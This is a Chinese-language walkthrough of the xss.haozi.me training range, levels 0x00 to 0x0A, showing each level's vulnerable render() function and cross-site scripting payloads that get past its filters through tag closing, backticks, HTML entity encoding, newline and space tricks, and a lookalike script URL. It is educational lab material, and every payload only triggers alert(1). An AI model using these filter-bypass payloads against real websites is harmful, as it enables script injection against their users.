xss.haozi.me靶场“0x00-0x0A”通关教程

君衍.

  • 一、靶场介绍
  • 二、第一关 0x00 不做限制
  • 三、第二关 0x01 文本闭合标签绕过
  • 四、第三关 0x02 双引号闭合绕过
  • 五、第四关 0x03 过滤括号
  • 六、第五关 0x04 编码绕过
  • 七、第六关 0x05 注释闭合绕过
  • 八、第七关 0x06 换行绕过
  • 九、第八关 0x07 删除标签
  • 十、第九关 0x08 多加空格绕过
  • 十一、第十关 0x09 闭合绕过
  • 十二、第十一关 0x0A JS调用

一、靶场介绍

该靶场直接使用网站进去即可练习:
https://xss.haozi.me/#/0x00
在这里插入图片描述
每关完成弹窗alert(1)即可过关。

二、第一关 0x00 不做限制

在这里插入图片描述

源码:

function render (input) {
  return '<div>' + input + '</div>'
}

我们即可看到将传入的值直接放div输出来,所以我们使用常用的payload即可:

<script>alert(1)</script>

在这里插入图片描述

<a href=javascript:alert(1)>aaa</a>

在这里插入图片描述
点击即可通关。

<a href="1" onclick=alert(1)>a</a>

在这里插入图片描述
点击即可通关,所以这里通关方法挺多,这里不赘述。

三、第二关 0x01 文本闭合标签绕过

在这里插入图片描述
源码:

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

函数的实现是将 input 参数的值插入到 <textarea> 标签的起始标签和结束标签之间,这样就创建了一个包含指定内容的文本区域(textarea)。
在这里插入图片描述
所以我们这里需要进行闭合,逃逸掉。

</textarea><a href="1" onclick=alert(1)>a</a>

在这里插入图片描述
点击即可完成触发:
在这里插入图片描述
当然,我们也可以用户不参与:

</textarea><img src="1" onerror=alert(1)>

在这里插入图片描述

</textarea><script>alert(1)</script>

在这里插入图片描述

四、第三关 0x02 双引号闭合绕过

本关其实与上一关差不多:
在这里插入图片描述
可以看到这里并不解析JS,同时源码如下:

function render (input) {
  return '<input type="name" value="' + input + '">'
}

函数的实现是将传入的 input 参数值插入到 <input> 元素的 value 属性中,这样就创建了一个包含特定值的输入框(input),其类型为 “name”。最终返回的字符串包含了完整的 <input> 元素标签及其属性,以及传入的 input 参数值作为输入框的默认值。
所以我们需要进行逃逸,这里我们使用双引号闭合掉,完成逃逸:

1"><script>alert(1)</script>

在这里插入图片描述

1" οnclick="alert(1)

在这里插入图片描述

1"><img src="1" οnerrοr="alert(1)">

在这里插入图片描述

五、第四关 0x03 过滤括号

在这里插入图片描述
我们可以看到这里括号没了,查看源码:

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

函数首先创建了一个名为 stripBracketsRe 的正则表达式,用于匹配输入字符串中的所有括号(包括圆括号)。然后,它使用 replace 方法将输入字符串中的所有括号替换为空字符串,即将括号从输入字符串中删除。最后,函数返回经过括号删除处理后的字符串。
所以我们需要将括号绕过,这里用两种方式,使用`来进行绕过:

<script>alert`1`</script>

在这里插入图片描述

<img src=1 onerror="alert`1`">

在这里插入图片描述
同时我们也可以使用编码绕过:

<img src=1 onerror="javascript:alert&#40;1&#41;">

在这里插入图片描述

<a href="1" onclick=alert`1`>aaa</a>

在这里插入图片描述
非常多,这里就不举例了。

六、第五关 0x04 编码绕过

在这里插入图片描述
这里我们可以看到`也进行了过滤,所以我们查看源码:

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

可以看到比第四关多了一个`号,不让我们使用来其进行绕过,所以我们依旧可以使用编码:

<svg><script>alert&#40;1&#41;</script></scg>

在这里插入图片描述

<iframe srcdoc="<script>alert&#40;1&#41;)</script>">

在这里插入图片描述

<img src=1 onerror=alert&#40;1&#41>

在这里插入图片描述

七、第六关 0x05 注释闭合绕过

在这里插入图片描述
我们可以看到给我们注释掉了,所以我们查看源码:

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

函数使用正则表达式 /–>/g 来匹配输入字符串中所有的 “–>”(HTML注释的结束标记),然后通过 replace 方法将这些匹配的字符串替换为 ‘😂’,一个笑脸符号(这里用作替换内容的示例)。最后,函数返回一个字符串,其中包含了处理后的输入字符串,但注释结束标记已经被替换为 ‘😂’。
所以这里我们肯定是要闭合掉注释完成逃逸,这里可以使用–!>:

--!><script>alert(1)</script>

在这里插入图片描述
剩下payload就不列举了,肯定是先闭合掉。

八、第七关 0x06 换行绕过

在这里插入图片描述
本关我们很明显可以看到首先进行了过滤,查看源码:

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

函数使用了正则表达式 /auto|on.*=|>/ig 来匹配输入字符串中的三种模式:auto、on 后跟任意字符直到等号 = 以及 >。然后,通过调用字符串的 replace 方法,将匹配到的内容替换为下划线 _。最后,函数返回一个包含了 <input> 元素的字符串。在该字符串中,input 元素的 value 属性被设置为 1,而其他属性则由参数 input 决定,经过处理后使用。这样,函数的主要作用是将输入字符串中的 auto、以 on 开头后接任意字符直到等号 = 以及 > 这三种模式替换为下划线 _,然后构造一个 <input> 元素的字符串返回。
但是并没有匹配换行符,所以我们也可以使用回车来进行绕过:

onclick
="alert(1)"

点击即可触发:
在这里插入图片描述

type="image" src="" onerror
=alert(1)

当然我们这里也可以将输入框的类型变为图像输入,同时指定图像url,这里直接为空,从而使其执行报错,onerror中的内容,图片加载失败即可完成alert(1)函数的触发,从而完成1的弹窗。
在这里插入图片描述

九、第八关 0x07 删除标签

我们使用闭合以及最简单的弹窗来观察过滤:
在这里插入图片描述
查看源码:

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi
  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

函数首先创建了一个名为 stripTagsRe 的正则表达式,用于匹配输入字符串中的所有 HTML 标签,包括标签的起始标记 <tag> 和结束标记 </tag>,以及标签中的属性。然后,通过调用字符串的 replace 方法,将匹配到的标签及其属性替换为空字符串,从而删除了所有 HTML 标签。最后,函数返回一个包含在 <article> 元素中的字符串,其中的内容是经过删除 HTML 标签处理后的 input 字符串。

<img src="" onerror="alert(1)"

在这里插入图片描述

<svg/onload="alert(1)"

在这里插入图片描述

这里我们依旧可以完成绕过是因为render函数虽然删除了HTML标签,丹斯onerror事件处理并不需要依附于任何实际的HTML标签来进行触发,所以第一个我们尝试访问加载图像,没有则事件触发,从而完成弹窗。

十、第九关 0x08 多加空格绕过

我们依旧尝试闭合弹窗,观察回显:
在这里插入图片描述
查看源码:

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

函数首先使用正则表达式 /<\/style>/ig 来匹配输入字符串中的 </style> 标记。然后,通过调用字符串的 replace 方法,将匹配到的 </style> 标记替换为一个注释 /* 垃圾人 */。在注释中使用了 Unicode 转义序列 \u574F\u4EBA,其对应的是中文字符 “坏人”。这样,函数将 </style> 替换为了注释 “/* 垃圾人 */”。最后,函数返回一个包含在 <style> 元素中的字符串。
所以这里我们可以使用多加空格来进行绕过:

</style ><script>alert(1)</script>

在这里插入图片描述
同时我们也可以利用正则不能匹配空格来进行绕过:

</style
><script>alert(1)</script>

在这里插入图片描述

十一、第十关 0x09 闭合绕过

本关我们需要使用到该靶场提供的一个JS:

https://xss.haozi.me/j.js

在这里插入图片描述
以及我们查看源码可得:

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

函数首先定义了一个正则表达式 domainRe,用于匹配以 http:// 或 https:// 开头,后跟 www.segmentfault.com 的 URL。然后,函数使用 domainRe.test(input) 来测试输入的 URL 是否符合该正则表达式。如果符合,则返回一个包含该 URL 的 <script> 标签,否则返回 'Invalid URL'。在返回的 <script> 标签中,${input} 被插入到了 src 属性中,这样可以动态加载指定 URL 的脚本。如果输入的 URL 符合 domainRe 定义的格式,则会返回类似于 <script src="https://www.segmentfault.com"></script> 这样的字符串;否则会返回 'Invalid URL'
所以这里我们需要使用该网址头部:
在这里插入图片描述

http://www.segmentfault.com.haozi.me/j.js

在这里插入图片描述
我们即可利用服务器提供的JS完成弹窗。当然,如果不清楚官方提供的JS,我们也可以直接闭合,使用别的方式完成弹窗:

https://www.segmentfault.com"></script><img src="" οnerrοr="alert(1)

这里我们直接使用了闭合,然后使用img标签来完成图像的调用,从而报错完成触发。
在这里插入图片描述

https://www.segmentfault.com"></script><script>alert(1)</script>

在这里插入图片描述
闭合逃逸掉,我们就可以使用多种payload完成触发。

十二、第十一关 0x0A JS调用

本关如果我们采用上一关闭合的payload,可以看到:
在这里插入图片描述
这里是被实体编码了,从而没法完成调用,所以我们查看源码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

首先定义了一个名为 escapeHtml 的内部函数,用于转义 HTML 中的特殊字符。该函数将 &, ', ", <, >, / 分别替换为它们对应的 HTML 实体,以防止 XSS 攻击和 HTML 注入等安全问题。接着,定义了一个正则表达式 domainRe,用于匹配以 http://https:// 开头,后跟 www.segmentfault.com 的 URL。然后,使用 domainRe.test(input) 来测试输入的 URL 是否符合该正则表达式。如果输入的 URL 符合 domainRe 定义的格式,则调用 escapeHtml 函数对输入的 URL 进行 HTML 转义,并将其插入到 <script> 标签的 src 属性中,最终返回类似于 <script src="https://www.segmentfault.com"></script> 的字符串。如果输入的 URL 不符合格式,则返回 ‘Invalid URL’ 字符串。
所以本关其实与上一关差不多,但是我们如果采用闭合,那么将会被实体编码从而无法完成调用。本关我们只能采用使用官方的JS进行调用:
在这里插入图片描述

https://www.segmentfault.com.haozi.me/j.js

在这里插入图片描述
从而完成我们的弹窗触发。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/450072.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

精通 Python 装饰器:代码复用与功能增强技巧

精通 Python 装饰器&#xff1a;代码复用与功能增强技巧 引言装饰器基础装饰器的定义基本装饰器的实现方法理解 符号的用法简单装饰器示例代码 使用装饰器增强函数功能日志记录性能测试事务处理小结 装饰器进阶应用管理用户认证缓存机制的实现参数化装饰器的创建和应用多个装饰…

Android中单例模式正确实现方式

1. 饿汉模式 -线程安全 在类加载时进行实例化&#xff0c; 线程安全&#xff0c;但会导致类加载时间变长。饿汉模式如果使用过多&#xff0c;可能会对App启动耗时带来不利影响。 2. 懒汉模式 -线程不安全 没有加锁&#xff0c; 因此线程不安全。 3. 两次判空 加同步锁 -线程不…

JVM-3

HotSpot虚拟机对象 我在网上看了很多相关的文章&#xff0c;发现在创建对象和对象的结构中内容都不太一样&#xff0c;一些关键字也很不同&#xff0c;于是我通过参考《深入理解Java虚拟机》这本书&#xff0c;自己总结了一篇。 1.对象的创建 当JVM收到一条创建对象的字节码…

基于DiT,支持4K图像生成,华为诺亚0.6B文生图模型PixArt-Σ来了

这个模型和 Sora 一样采用了 DiT 框架。 众所周知&#xff0c;开发顶级的文生图&#xff08;T2I&#xff09;模型需要大量资源&#xff0c;因此资源有限的个人研究者基本都不可能承担得起&#xff0c;这也成为了 AIGC&#xff08;人工智能内容生成&#xff09;社区创新的一大阻…

C++的学习

代码练习 输入一个字符串&#xff0c;统计其中大写字母、小写字母、数字、空格以及其他字符的个数 #include <iostream>using namespace std;int main() {cout << "请输入一个字符串" << endl;string str;getline(cin,str);int capital 0;int l…

蜂窝物联:智慧水产养殖解决方案

一、系统介绍 集约化水产养殖水质在线监控系统是面向水产养殖集约、高产、高效、生态、安全的发展需求&#xff0c;基于智能传感、无线传感网、通信、智能处理与智能控制等物联网技术开发的&#xff0c;集水质环境参数在线采集、无线传输、智能处理、预警信息发布、决策支持、…

功能测试转自动化测试好不好转型?

手工测试做了好多年&#xff0c;点点点成了每天必须做的事情。但是随着自动化测试趋势的日渐明显&#xff0c;以及受到薪资、技能的双重考验&#xff0c;掌握自动化测试成为了必备技能。 手工转自动化测试&#xff0c;不是一蹴而就的。“预先善其事&#xff0c;必先利其器”&a…

如何看待Linux桌面操作系统的火速增长

文章目录 1. 使用过Linux桌面操作系统吗&#xff1f;Linux系统有什么优势&#xff1f;对于Linux桌面操作系统份额的火速增长怎么看呢认为未来Linux会主导桌面操作系统吗&#xff1f; #如何看待Linux桌面操作系统的火速增长&#xff1f; 1. 使用过Linux桌面操作系统吗&#xff…

LeetCode 707. 设计链表 (JAVA)

1.题目 2. 思路分析 1.我们要设置一个虚拟头节点&#xff0c;因为这个虚拟头节点对于增加节点操作和删除节点操作都很方便。 2.仔细读题&#xff0c;题目中说链表中的节点下标是从0开始的。也就是说第一个节点下标为0。 3.增加节点和删除节点的操作我们都要获取到它前一个的节…

AI交互数字人助力传统景区数字化升级

AI交互数字人在游客体验提升方面具有重要作用。传统景区可以将AI交互数字人以一体机、小程序等形式&#xff0c;与景区游客进行面对面实时交流&#xff0c;为游客提供导览讲解、景区路线指引、文创产品推荐等智能服务&#xff0c;AI交互数字人针对性的为游客提供“吃住行游购娱…

【LeetCode: 289. 生命游戏 + BFS】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

神经科常用的5个脑卒中风险评估量表,医生必备!

脑卒中俗称中风&#xff0c;包括缺血性脑卒中和出血性脑卒中。脑卒中风险评估的相关量表&#xff0c;是神经科医生临床常用的量表类型。 常笑医学整理了神经科常用的5个脑卒中风险评估量表&#xff0c;包括Essen脑卒中风险评分量表(ESRS评分)、卒中预测工具-Ⅱ&#xff08;SPI…

Jmeter-使用http proxy代理录制脚本

Jmeter-使用http proxy代理录制脚本 第1步&#xff1a;打卡jmeter工具新增1个线程组 第2步&#xff1a;给线程组添加1个HTTP请求默认值 第3步&#xff1a;设置下HTTP请求默认值第4步&#xff1a;在工作台中新增1个----HTTP代理服务器 第5步&#xff1a;设置HTTP代理服务器 …

一款好用的AI工具——边界AICHAT

目录 一、简介二、注册及登录三、主要功能介绍3.1、模型介绍3.2、对话模型历史记录3.3、创作中心3.4、AI绘画SD3.5、文生图3.6、图生图3.7、线稿生图3.8、艺术二维码3.9、秀图广场3.10、AI绘画创作人像辅助器 一、简介 人工智能&#xff08;AI&#xff09;是一门研究、开发用于…

Linux查看磁盘命令df-h详解

df -h 是一个常用的 Linux 命令&#xff0c;用于查看文件系统的磁盘使用情况并以易于阅读的方式显示。以下是 df -h 命令的详细解释&#xff1a; -h&#xff1a;以人类可读的格式显示磁盘空间大小。例如&#xff0c;使用 GB、MB、KB 等单位代替字节。 执行 df -h 命令后&…

Oracle增量更新备份(更快的备份策略)

正常的备份策略包括&#xff1a;全库备份&#xff0c;full备份&#xff0c;创建镜像备份&#xff0c;累积增量备份以及差异增量备份&#xff1a; 全库备份&#xff1a;如名&#xff0c;对oracle整个数据库进行备份&#xff0c;包括archivedlog&#xff0c;数据文件&#xff0c;…

Altair® Flux® 仿真软件加速电机、传感器和执行器设计

Altair Flux 仿真软件加速电机、传感器和执行器设计 Flux 着眼于机电设备的复杂性&#xff0c;旨在精确优化其性能、效率、尺寸、成本或重量&#xff0c;为终端用户带来更优质的创新的以及高价值的产品。Flux 可对静磁、交流稳态和瞬态条件&#xff0c;以及电热特性进行仿真。…

伪分布式Spark集群搭建

一、软件环境 软 件 版 本 安 装 包 VMware虚拟机 16 VMware-workstation-full-16.2.2-19200509.exe SSH连接工具 FinalShell Linux OS CentOS7.5 CentOS-7.5-x86_64-DVD-1804.iso JDK 1.8 jdk-8u161-linux-x64.tar.gz Spark 3.2.1 spark-3.2.1-bin-…

【Python使用】python高级进阶知识md总结第3篇:静态Web服务器-返回指定页面数据,静态Web服务器-多任务版【附代码文档】

python高级进阶全知识知识笔记总结完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;操作系统&#xff0c;虚拟机软件&#xff0c;Ubuntu操作系统&#xff0c;Linux内核及发行版&#xff0c;查看目录命令&#xff0c;切换目录命令&#xff0c;绝对路径和相对…